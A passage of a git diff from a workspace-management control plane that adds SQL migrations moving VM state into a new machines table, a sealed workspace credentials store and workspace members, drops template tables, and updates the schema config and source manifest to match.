(machine_id, pubkey, operation) +); + +INSERT INTO broker_keys_new (id, machine_id, pubkey, operation) +SELECT k.id, k.box_id, k.pubkey, k.operation +FROM broker_keys k +JOIN machines m ON m.id = k.box_id; + +DROP TABLE broker_keys; +ALTER TABLE broker_keys_new RENAME TO broker_keys; +CREATE INDEX broker_keys_machine ON broker_keys(machine_id); + +-- The workspace boxes are machines now. Their token families moved above, so +-- deleting them here removes the second row, not the credential. +DELETE FROM box_token_families +WHERE box_id IN (SELECT id FROM boxes WHERE workspace_id IS NOT NULL); +DELETE FROM boxes WHERE workspace_id IS NOT NULL; diff --git a/packages/control-plane/migrations/0042_workspace_credentials.sql b/packages/control-plane/migrations/0042_workspace_credentials.sql new file mode 100644 index 00000000..c68449b9 --- /dev/null +++ b/packages/control-plane/migrations/0042_workspace_credentials.sql @@ -0,0 +1,67 @@ +-- WORKSPACE CREDENTIALS (plans/MEMBER-MACHINES.md §1, "workspace_credentials"). +-- +-- One store, one read. `workspaces.environment` was per-workspace but +-- plaintext and delivered ambiently into every shell through +-- `creds/env.d/*.sh`; `connections` is sealed but org-scoped. This table is the +-- workspace-scoped sealed store, and `blitz-cred` is its only door. +-- +-- This deliberately reverses migration 0028's ruling ("ad-hoc secrets are a +-- workspace file or .env"). The reversal is intended and recorded in the plan. +CREATE TABLE workspace_credentials ( + id TEXT PRIMARY KEY, + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + -- The environment variable name an agent asks for: STRIPE_API_KEY, ... + name TEXT NOT NULL, + label TEXT, + -- base64(12-byte IV ‖ AES-256-GCM ciphertext) under CRED_MASTER_KEY, with + -- AAD `wscred::` — the same envelope shape connections + -- use, bound to the row it belongs to so a ciphertext cannot be moved. + ciphertext TEXT NOT NULL, + created_by_membership_id TEXT NOT NULL REFERENCES memberships(id), + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL, + revoked_at INTEGER +); + +-- One live row per name. A revoked row stays for the audit trail, so the +-- uniqueness is partial rather than a plain UNIQUE. +CREATE UNIQUE INDEX workspace_credentials_live + ON workspace_credentials(workspace_id, name) + WHERE revoked_at IS NULL; + +CREATE INDEX workspace_credentials_workspace + ON workspace_credentials(workspace_id, created_at); + +-- Existing `workspaces.environment` variables become rows here. +-- +-- SQL cannot run AES-GCM, so the migration cannot produce a sealed value. It +-- writes the legacy envelope `plaintext:v0:` instead, which +-- `core/workspace-credentials.ts` opens and every WRITE replaces with a real +-- sealed value. This is not a downgrade: the column being read here is +-- plaintext today, and it was delivered into a world-readable file on the box +-- on every boot. A rotate through the new routes seals it for good. +-- +-- `json_each` walks the stored `{"env":{...},"startupScript":...}` document. +-- The startup script does NOT migrate: it is a boot hook, not a secret, and +-- nothing in the new model runs one. +-- +-- The GLOB is a filter, not a validation: a name must start with a letter to +-- be servable, so an env var whose name starts with an underscore or a digit +-- is DISCARDED here and does not reach the new store. +INSERT OR IGNORE INTO workspace_credentials + (id, workspace_id, name, label, ciphertext, + created_by_membership_id, created_at, updated_at) +SELECT + 'wc-' || w.id || '-' || env.key, + w.id, + env.key, + NULL, + 'plaintext:v0:' || env.value, + w.owner_membership_id, + w.updated_at, + w.updated_at +FROM workspaces w +JOIN json_each(json_extract(w.environment, '$.env')) env +WHERE w.environment IS NOT NULL + AND w.owner_membership_id IS NOT NULL + AND env.key GLOB '[A-Za-z]*'; diff --git a/packages/control-plane/migrations/0043_drop_workspace_templates.sql b/packages/control-plane/migrations/0043_drop_workspace_templates.sql new file mode 100644 index 00000000..c3a736d9 --- /dev/null +++ b/packages/control-plane/migrations/0043_drop_workspace_templates.sql @@ -0,0 +1,74 @@ +-- The workspace is its own template (plans/MEMBER-MACHINES.md §0). +-- +-- A workspace now carries the config a template used to carry — default +-- machine type, agent rules, repos, credentials — and "new workspace from +-- existing" clones that config. There is no separate template object, so the +-- four template tables go. +-- +-- Recipes lose their launch source. `recipes.template_id` referenced a table +-- that is being dropped, and there is no mapping from a template to a +-- workspace, so the column is rebuilt as a nullable `source_workspace_id` and +-- every existing row gets NULL. `POST /workspace-recipes/:id/launch` refuses +-- with 400 until the workspace-clone launch lands; see the TODO in +-- core/recipes.ts. Recipe CRUD keeps working, and the UI for it is already +-- hidden (#103). + +-- `workspaces.recipe_id` references `recipes`, so the rebuild below cannot run +-- while those rows point at it. The provenance is parked here and restored +-- once the new table is in place. +CREATE TABLE recipe_provenance_tmp ( + workspace_id TEXT PRIMARY KEY, + recipe_id TEXT NOT NULL +); + +INSERT INTO recipe_provenance_tmp (workspace_id, recipe_id) +SELECT id, recipe_id FROM workspaces WHERE recipe_id IS NOT NULL; + +UPDATE workspaces SET recipe_id = NULL WHERE recipe_id IS NOT NULL; + +CREATE TABLE recipes_new ( + id TEXT PRIMARY KEY, + org_id TEXT NOT NULL REFERENCES orgs(id), + name TEXT NOT NULL, + -- The workspace a launch clones. NULL on every row this migration carries + -- across, because the template it used to name no longer exists. + source_workspace_id TEXT REFERENCES workspaces(id), + harness TEXT NOT NULL CHECK (harness IN ('claude', 'codex', 'chat')), + model TEXT, + effort TEXT, + prompt TEXT NOT NULL, + created_by_membership_id TEXT NOT NULL REFERENCES memberships(id), + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL +); + +INSERT INTO recipes_new ( + id, org_id, name, source_workspace_id, harness, model, effort, prompt, + created_by_membership_id, created_at, updated_at +) +SELECT id, org_id, name, NULL, harness, model, effort, prompt, + created_by_membership_id, created_at, updated_at +FROM recipes; + +DROP TABLE recipes; +ALTER TABLE recipes_new RENAME TO recipes; + +CREATE INDEX recipes_org ON recipes(org_id, created_at); +CREATE INDEX recipes_source_workspace ON recipes(source_workspace_id); + +UPDATE workspaces +SET recipe_id = ( + SELECT recipe_id FROM recipe_provenance_tmp t WHERE t.workspace_id = workspaces.id +) +WHERE EXISTS (SELECT 1 FROM recipe_provenance_tmp t WHERE t.workspace_id = workspaces.id); + +DROP TABLE recipe_provenance_tmp; + +DROP TABLE workspace_template_connections; +DROP TABLE workspace_template_repos; +DROP TABLE workspace_template_folders; +DROP TABLE workspace_templates; + +-- The org pointer at a template that no longer exists. No FK ever held it +-- (0026 says so), so it is cleared here rather than cascaded. +UPDATE orgs SET default_template_id = NULL WHERE default_template_id IS NOT NULL; diff --git a/packages/control-plane/migrations/0044_workspace_sheds_its_vm.sql b/packages/control-plane/migrations/0044_workspace_sheds_its_vm.sql new file mode 100644 index 00000000..92b25683 --- /dev/null +++ b/packages/control-plane/migrations/0044_workspace_sheds_its_vm.sql @@ -0,0 +1,41 @@ +-- The workspace row loses every column that moved to `machines` (0041), the +-- sharing ACL that became `workspace_members`, and the plaintext environment +-- that became `workspace_credentials` (0042). +-- +-- 0041 and 0042 copied all of it. Nothing here reads a column it has not +-- already written somewhere else. + +-- The phase index has to go before its column can. +DROP INDEX workspaces_phase; + +-- The sharing ACL. Its rows converted to `workspace_members` in 0041. +DROP INDEX grants_membership; +DROP TABLE workspace_grants; + +-- VM identity and lifecycle: now machines(vm_id, ssh_*, phone_home_*). +ALTER TABLE workspaces DROP COLUMN phase; +ALTER TABLE workspaces DROP COLUMN vm_id; +ALTER TABLE workspaces DROP COLUMN volume_id; +ALTER TABLE workspaces DROP COLUMN ssh_host; +ALTER TABLE workspaces DROP COLUMN ssh_port; +ALTER TABLE workspaces DROP COLUMN ssh_user; +ALTER TABLE workspaces DROP COLUMN ssh_host_public_key; +ALTER TABLE workspaces DROP COLUMN error; +ALTER TABLE workspaces DROP COLUMN phone_home_hash; +ALTER TABLE workspaces DROP COLUMN phone_home_used; +ALTER TABLE workspaces DROP COLUMN tunnel_id; +ALTER TABLE workspaces DROP COLUMN tunnel_hostname; +ALTER TABLE workspaces DROP COLUMN dns_record_id; +ALTER TABLE workspaces DROP COLUMN compute_credential_source; +ALTER TABLE workspaces DROP COLUMN box_update_requested; +ALTER TABLE workspaces DROP COLUMN box_image_reported; + +-- Renamed, not dropped: `default_machine_type_id` (0041) holds this value and +-- says what it now means — a default for new machines, never a restriction. +ALTER TABLE workspaces DROP COLUMN machine_type_id; + +-- Replaced by workspace_members rows (0041). +ALTER TABLE workspaces DROP COLUMN org_share_role; + +-- Replaced by workspace_credentials rows (0042). +ALTER TABLE workspaces DROP COLUMN environment; diff --git a/packages/control-plane/scripts/lib/worker-source.mjs b/packages/control-plane/scripts/lib/worker-source.mjs index 1e9635e5..dae5d20e 100644 --- a/packages/control-plane/scripts/lib/worker-source.mjs +++ b/packages/control-plane/scripts/lib/worker-source.mjs @@ -27,7 +27,7 @@ export const CORE_MANIFEST = Object.freeze([ "core/runtime.ts", "core/db.ts", "core/blobs.ts", - "core/wire.ts", + "core/wire.ts", "core/wire-machines.ts", "core/agent-rules.ts", "core/bootstrap.ts", "core/box-config.ts", @@ -36,14 +36,15 @@ export const CORE_MANIFEST = Object.freeze([ "core/crypto.ts", "core/entitlements.ts", "core/environment.ts", - "core/connections/types.ts", "core/connections/pull-wire.ts", "core/connections/root-crypto.ts", "core/connections/manifest.ts", "core/connections/leases.ts", + "core/connections/types.ts", "core/connections/pull-routes.ts", "core/connections/pull-wire.ts", "core/connections/root-crypto.ts", "core/connections/manifest.ts", "core/connections/leases.ts", "core/connections/catalog/types.ts", "core/connections/catalog/github.ts", "core/connections/catalog/google-workspace.ts", "core/connections/catalog/linear.ts", "core/connections/catalog/discord.ts", "core/connections/catalog/youtrack.ts", "core/connections/catalog/index.ts", "core/connections/user-grants.ts", "core/connections/minters/static.ts", "core/connections/minters/oauth.ts", "core/connections/minters/grant.ts", "core/connections/registry.ts", "core/connections/requests.ts", "core/connections/health.ts", "core/connections/canary.ts", "core/connections/connect.ts", "core/connections/mint.ts", "core/connections/proxy.ts", "core/connections/github-repo-check.ts", "core/connections/github-repositories.ts", "core/http.ts", "core/files/access.ts", "core/files/attachments.ts", "core/files/dav.ts", "core/files/folders.ts", "core/files/keys.ts", "core/files/objects.ts", "core/files/readiness.ts", "core/files/routes.ts", "core/files/schedule.ts", "core/files/sync.ts", "core/files/usage-push.ts", - "core/identity/google.ts", "core/identity/grants.ts", "core/identity/invites.ts", "core/identity/members.ts", "core/identity/orgs.ts", "core/identity/routes.ts", + "core/identity/google.ts", "core/identity/invites.ts", "core/identity/members.ts", "core/identity/orgs.ts", "core/identity/routes.ts", "core/janitors.ts", + "core/machines.ts", "core/oauth-state.ts", "core/oauth.ts", "core/operator-tokens.ts", @@ -58,7 +59,10 @@ export const CORE_MANIFEST = Object.freeze([ "core/preview.ts", "core/webapp-state.ts", "core/webapp-proxy.ts", "core/webapp-surface.ts", "core/webapp-tickets.ts", "core/template-repos.ts", - "core/workspace-access.ts", "core/workspace-names.ts", "core/workspace-records.ts", "core/workspace-templates.ts", "core/workspace-tunnels.ts", + "core/workspace-access.ts", "core/workspace-credentials.ts", "core/workspace-members.ts", + "core/workspace-names.ts", "core/workspace-projection.ts", "core/workspace-records.ts", + "core/workspace-settings.ts", + "core/workspace-tunnels.ts", "core/workspace-volumes.ts", "core/workspaces.ts", "core/compute/registry.ts", "core/compute/types.ts", "core/compute/hetzner-config.ts", "core/compute/hetzner.ts", "core/compute/json-fetch.ts", "core/compute/org-credentials.ts", "core/compute/workspace-placement.ts", "core/compute/microvm-hosts.js", @@ -196,41 +200,35 @@ export const BLITZDEV_CONFIG = Object.freeze({ }, { name: "agent_rules", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "org_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "orgs", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "content", type: "text", sqlType: "text", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "identity", unique: true, fields: ["org_id", "name"] }], extensions: [DENY_ALL_RULES] }, { + // Configuration only. Every VM column moved to `machines`, the sharing + // ACL to `workspace_members`, and the plaintext environment to + // `workspace_credentials` (plans/MEMBER-MACHINES.md §1). name: "workspaces", fields: [ { name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "owner_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "principals", column: "id" } }, - { name: "machine_type_id", type: "text", sqlType: "text", notNull: true, default: { l: "unknown" } }, - { name: "phase", type: "text", sqlType: "text", notNull: true, check: "phase IN ('creating', 'ready', 'destroying', 'destroyed', 'error')" }, + { name: "default_machine_type_id", type: "text", sqlType: "text", notNull: true, default: { l: "unknown" } }, + { name: "auto_provision", type: "bool", sqlType: "integer", notNull: true, default: { l: 1 }, check: "auto_provision IN (0, 1)" }, + { name: "deleted_at", type: "integer", sqlType: "integer" }, { name: "revision", type: "integer", sqlType: "integer", notNull: true, check: "revision > 0" }, - { name: "vm_id", type: "text", sqlType: "text" }, - { name: "compute_credential_source", type: "text", sqlType: "text", check: "compute_credential_source IN ('org', 'deployment')" }, - { name: "volume_id", type: "text", sqlType: "text" }, - { name: "ssh_host", type: "text", sqlType: "text" }, - { name: "ssh_port", type: "integer", sqlType: "integer" }, - { name: "ssh_user", type: "text", sqlType: "text" }, - { name: "ssh_host_public_key", type: "text", sqlType: "text" }, - { name: "error", type: "text", sqlType: "text" }, - { name: "phone_home_hash", type: "text", sqlType: "text" }, - { name: "phone_home_used", type: "bool", sqlType: "integer", notNull: true, default: { l: 0 }, check: "phone_home_used IN (0, 1)" }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }, - { name: "manifest", type: "text", sqlType: "text" }, { name: "tunnel_id", type: "text", sqlType: "text" }, - { name: "tunnel_hostname", type: "text", sqlType: "text" }, { name: "dns_record_id", type: "text", sqlType: "text" }, + { name: "manifest", type: "text", sqlType: "text" }, { name: "org_id", type: "text", sqlType: "text", foreignKey: { table: "orgs", column: "id" } }, { name: "owner_membership_id", type: "text", sqlType: "text", foreignKey: { table: "memberships", column: "id" } }, - { name: "org_share_role", type: "text", sqlType: "text", check: "org_share_role IN ('editor', 'viewer')" }, - { name: "environment", type: "text", sqlType: "text" }, { name: "files_ready", type: "bool", sqlType: "integer", notNull: true, default: { l: 0 }, check: "files_ready IN (0, 1)" }, { name: "agent_rule_id", type: "text", sqlType: "text", foreignKey: { table: "agent_rules", column: "id", onDelete: "SET NULL" } }, - { name: "box_update_requested", type: "bool", sqlType: "integer", notNull: true, default: { l: 0 }, check: "box_update_requested IN (0, 1)" }, - { name: "box_image_reported", type: "text", sqlType: "text" }, - // Forward reference: recipes is created later in this list (it needs - // workspace_templates first); SQLite defers FK resolution to DML. + // Forward reference: recipes is created later in this list; SQLite + // defers FK resolution to DML. { name: "recipe_id", type: "text", sqlType: "text", foreignKey: { table: "recipes", column: "id" } }, ], - indexes: [{ name: "owner", fields: ["owner_id", "created_at"] }, { name: "phase", fields: ["phase", "updated_at"] }], + indexes: [{ name: "owner", fields: ["owner_id", "created_at"] }, { name: "org", fields: ["org_id", "created_at"] }], extensions: [DENY_ALL_RULES], }, + // One VM per (workspace, member). The volume is the durable half: a type + // change destroys the VM and keeps the disk. + { name: "machines", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, { name: "membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "state", type: "text", sqlType: "text", notNull: true, check: "state IN ('provisioning', 'running', 'stopped', 'error', 'destroying', 'destroyed')" }, { name: "machine_type_id", type: "text", sqlType: "text", notNull: true }, { name: "compute_credential_source", type: "text", sqlType: "text", notNull: true, default: { l: "deployment" }, check: "compute_credential_source IN ('org', 'deployment')" }, { name: "vm_id", type: "text", sqlType: "text" }, { name: "volume_id", type: "text", sqlType: "text" }, { name: "ssh_host", type: "text", sqlType: "text" }, { name: "ssh_port", type: "integer", sqlType: "integer" }, { name: "ssh_user", type: "text", sqlType: "text" }, { name: "ssh_host_public_key", type: "text", sqlType: "text" }, { name: "phone_home_hash", type: "text", sqlType: "text" }, { name: "phone_home_used", type: "bool", sqlType: "integer", notNull: true, default: { l: 0 }, check: "phone_home_used IN (0, 1)" }, { name: "tunnel_id", type: "text", sqlType: "text" }, { name: "tunnel_hostname", type: "text", sqlType: "text" }, { name: "dns_record_id", type: "text", sqlType: "text" }, { name: "broker_box_id", type: "text", sqlType: "text", foreignKey: { table: "broker_boxes", column: "box_id", onDelete: "SET NULL" } }, { name: "box_update_requested", type: "bool", sqlType: "integer", notNull: true, default: { l: 0 }, check: "box_update_requested IN (0, 1)" }, { name: "box_image_reported", type: "text", sqlType: "text" }, { name: "error", type: "text", sqlType: "text" }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "identity", unique: true, fields: ["workspace_id", "membership_id"] }, { name: "workspace", fields: ["workspace_id", "created_at"] }, { name: "state", fields: ["state", "updated_at"] }], extensions: [DENY_ALL_RULES] }, + { name: "workspace_members", fields: [{ name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, { name: "membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "role", type: "text", sqlType: "text", notNull: true, check: "role IN ('admin', 'member', 'viewer')" }, { name: "added_by_membership_id", type: "text", sqlType: "text", foreignKey: { table: "memberships", column: "id" } }, { name: "added_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "identity", unique: true, fields: ["workspace_id", "membership_id"] }, { name: "membership", fields: ["membership_id", "workspace_id"] }], extensions: [DENY_ALL_RULES] }, + { name: "workspace_credentials", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "label", type: "text", sqlType: "text" }, { name: "ciphertext", type: "text", sqlType: "text", notNull: true }, { name: "created_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }, { name: "revoked_at", type: "integer", sqlType: "integer" }], indexes: [{ name: "workspace", fields: ["workspace_id", "created_at"] }], extensions: [DENY_ALL_RULES] }, { name: "invites", fields: [ @@ -250,24 +248,12 @@ export const BLITZDEV_CONFIG = Object.freeze({ ], extensions: [DENY_ALL_RULES], }, - { - name: "workspace_grants", - fields: [ - { name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, - { name: "membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "role", type: "text", sqlType: "text", notNull: true, check: "role IN ('editor', 'viewer')" }, - { name: "granted_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, - ], - indexes: [{ name: "identity", unique: true, fields: ["workspace_id", "membership_id"] }], - extensions: [DENY_ALL_RULES], - }, { name: "folders", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "org_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "orgs", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "created_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }, { name: "org_role", type: "text", sqlType: "text", check: "org_role IN ('editor', 'viewer')" }], indexes: [{ name: "org", fields: ["org_id", "created_at"] }], extensions: [DENY_ALL_RULES] }, { name: "folder_grants", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "folder_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "folders", column: "id" } }, { name: "membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "role", type: "text", sqlType: "text", notNull: true, check: "role IN ('editor', 'viewer')" }, { name: "granted_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "identity", unique: true, fields: ["folder_id", "membership_id"] }, { name: "membership", fields: ["membership_id", "folder_id"] }], extensions: [DENY_ALL_RULES] }, { name: "folder_attachments", fields: [{ name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, { name: "folder_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "folders", column: "id" } }, { name: "attached_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "guest_path", type: "text", sqlType: "text" }], indexes: [{ name: "identity", unique: true, fields: ["workspace_id", "folder_id"] }, { name: "folder", fields: ["folder_id", "workspace_id"] }], extensions: [DENY_ALL_RULES] }, - { name: "workspace_templates", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "org_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "orgs", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "machine_type_id", type: "text", sqlType: "text", notNull: true }, { name: "created_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }, { name: "environment", type: "text", sqlType: "text" }, { name: "agent_rule_id", type: "text", sqlType: "text", foreignKey: { table: "agent_rules", column: "id", onDelete: "SET NULL" } }], indexes: [{ name: "org", fields: ["org_id", "created_at"] }], extensions: [DENY_ALL_RULES] }, - { name: "workspace_template_folders", fields: [{ name: "template_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspace_templates", column: "id" } }, { name: "folder_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "folders", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "identity", unique: true, fields: ["template_id", "folder_id"] }, { name: "folder", fields: ["folder_id", "template_id"] }], extensions: [DENY_ALL_RULES] }, // Flat like agent_rules/broker_members: this file already sits on the // max-lines warn list, so a new table stays terse instead of growing it. - { name: "recipes", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "org_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "orgs", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "template_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspace_templates", column: "id" } }, { name: "harness", type: "text", sqlType: "text", notNull: true, check: "harness IN ('claude', 'codex', 'chat')" }, { name: "model", type: "text", sqlType: "text" }, { name: "effort", type: "text", sqlType: "text" }, { name: "prompt", type: "text", sqlType: "text", notNull: true }, { name: "created_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "org", fields: ["org_id", "created_at"] }, { name: "template", fields: "template_id" }], extensions: [DENY_ALL_RULES] }, + { name: "recipes", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "org_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "orgs", column: "id" } }, { name: "name", type: "text", sqlType: "text", notNull: true }, { name: "source_workspace_id", type: "text", sqlType: "text", foreignKey: { table: "workspaces", column: "id" } }, { name: "harness", type: "text", sqlType: "text", notNull: true, check: "harness IN ('claude', 'codex', 'chat')" }, { name: "model", type: "text", sqlType: "text" }, { name: "effort", type: "text", sqlType: "text" }, { name: "prompt", type: "text", sqlType: "text", notNull: true }, { name: "created_by_membership_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "memberships", column: "id" } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "org", fields: ["org_id", "created_at"] }, { name: "source_workspace", fields: "source_workspace_id" }], extensions: [DENY_ALL_RULES] }, { name: "webapp_state", fields: [ @@ -321,6 +307,9 @@ export const BLITZDEV_CONFIG = Object.freeze({ ], extensions: [DENY_ALL_RULES], }, + // The workspace guest's credential. `box_token_families` above is what is + // left of the old table: brokers and device-code enrolments. + { name: "machine_token_families", fields: [{ name: "machine_id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid", foreignKey: { table: "machines", column: "id", onDelete: "CASCADE" } }, { name: "vm_id", type: "text", sqlType: "text" }, { name: "access_hash", type: "text", sqlType: "text", notNull: true, unique: true }, { name: "refresh_hash", type: "text", sqlType: "text", notNull: true, unique: true }, { name: "previous_refresh_hash", type: "text", sqlType: "text" }, { name: "previous_rotated_at", type: "integer", sqlType: "integer" }, { name: "access_issued_at", type: "integer", sqlType: "integer", notNull: true }, { name: "generation", type: "integer", sqlType: "integer", notNull: true }], indexes: [], extensions: [DENY_ALL_RULES] }, { name: "broker_boxes", fields: [ @@ -336,13 +325,13 @@ export const BLITZDEV_CONFIG = Object.freeze({ name: "broker_keys", fields: [ { name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, - { name: "box_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "boxes", column: "id", onDelete: "CASCADE" } }, + { name: "machine_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "machines", column: "id", onDelete: "CASCADE" } }, { name: "pubkey", type: "text", sqlType: "text", notNull: true }, { name: "operation", type: "text", sqlType: "text", notNull: true, check: "operation IN ('mint', 'deposit')" }, ], indexes: [ - { name: "box", fields: "box_id" }, - { name: "identity", unique: true, fields: ["box_id", "pubkey", "operation"] }, + { name: "machine", fields: "machine_id" }, + { name: "identity", unique: true, fields: ["machine_id", "pubkey", "operation"] }, ], extensions: [DENY_ALL_RULES], }, @@ -371,7 +360,6 @@ export const BLITZDEV_CONFIG = Object.freeze({ extensions: [DENY_ALL_RULES], }, { name: "user_oauth_grants", fields: [{ name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "user_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "principals", column: "id" } }, { name: "provider", type: "text", sqlType: "text", notNull: true }, { name: "manifest_id", type: "text", sqlType: "text", notNull: true }, { name: "kind", type: "text", sqlType: "text", notNull: true, check: "kind IN ('pat','oauth')" }, { name: "label", type: "text", sqlType: "text" }, { name: "config", type: "text", sqlType: "text", notNull: true, default: { l: "{}" } }, { name: "access_ciphertext", type: "text", sqlType: "text" }, { name: "access_expires_at", type: "integer", sqlType: "integer" }, { name: "refresh_ciphertext", type: "text", sqlType: "text" }, { name: "scopes", type: "text", sqlType: "text", notNull: true }, { name: "rotation", type: "integer", sqlType: "integer", notNull: true, default: { l: 0 } }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }, { name: "updated_at", type: "integer", sqlType: "integer", notNull: true }, { name: "revoked_at", type: "integer", sqlType: "integer" }], indexes: [{ name: "live", unique: true, fields: ["user_id", "provider"], where: { q: "revoked_at IS NULL" } }, { name: "provider", fields: ["provider", "user_id"] }], extensions: [DENY_ALL_RULES] }, - { name: "workspace_template_connections", fields: [{ name: "template_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspace_templates", column: "id" } }, { name: "provider", type: "text", sqlType: "text", notNull: true }, { name: "created_at", type: "integer", sqlType: "integer", notNull: true }], indexes: [{ name: "provider", fields: ["provider", "template_id"] }], extensions: [DENY_ALL_RULES] }, { name: "provider_health", fields: [{ name: "provider", type: "text", sqlType: "text", primary: true, noUpdate: true }, { name: "state", type: "text", sqlType: "text", notNull: true, check: "state IN ('healthy','unhealthy')" }, { name: "detail", type: "text", sqlType: "text" }, { name: "checked_at", type: "integer", sqlType: "integer", notNull: true }, { name: "latency_ms", type: "integer", sqlType: "integer" }], indexes: [], extensions: [DENY_ALL_RULES] }, { name: "credential_leases", @@ -379,6 +367,7 @@ export const BLITZDEV_CONFIG = Object.freeze({ { name: "id", type: "text", sqlType: "text", primary: true, noUpdate: true, usage: "record_uid" }, { name: "workspace_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "workspaces", column: "id" } }, { name: "box_id", type: "text", sqlType: "text", foreignKey: { table: "boxes", column: "id", onDelete: "SET NULL" } }, + { name: "machine_id", type: "text", sqlType: "text", foreignKey: { table: "machines", column: "id" } }, { name: "connection_id", type: "text", sqlType: "text", notNull: true, foreignKey: { table: "connections", column: "id" } }, { name: "user_id", type: "text", sqlType: "text" }, { name: "grant_id", type: "text", sqlType: "text", foreignKey: { table: "user_oauth_grants", column: "id" } }, diff --git a/packages/control-plane/test/agent-rules-library.test.ts b/packages/control-plane/test/agent-rules-library.test.ts index 486cc37e..f7aa021d 100644 --- a/packages/control-plane/test/agent-rules-library.test.ts +++ b/packages/control-plane/test/agent-rules-library.test.ts @@ -2,7 +2,6 @@ import type { AgentRulesResponse, AgentRuleView, ListAgentRulesResponse, - WorkspaceTemplateView, WorkspaceView, } from "@blitzos/schema"; import { beforeEach, describe, expect, it } from "vitest"; @@ -13,9 +12,9 @@ import { } from "../core/agent-rules.js"; import { appRequest, + boxTokenFor, harness, operatorSession, - 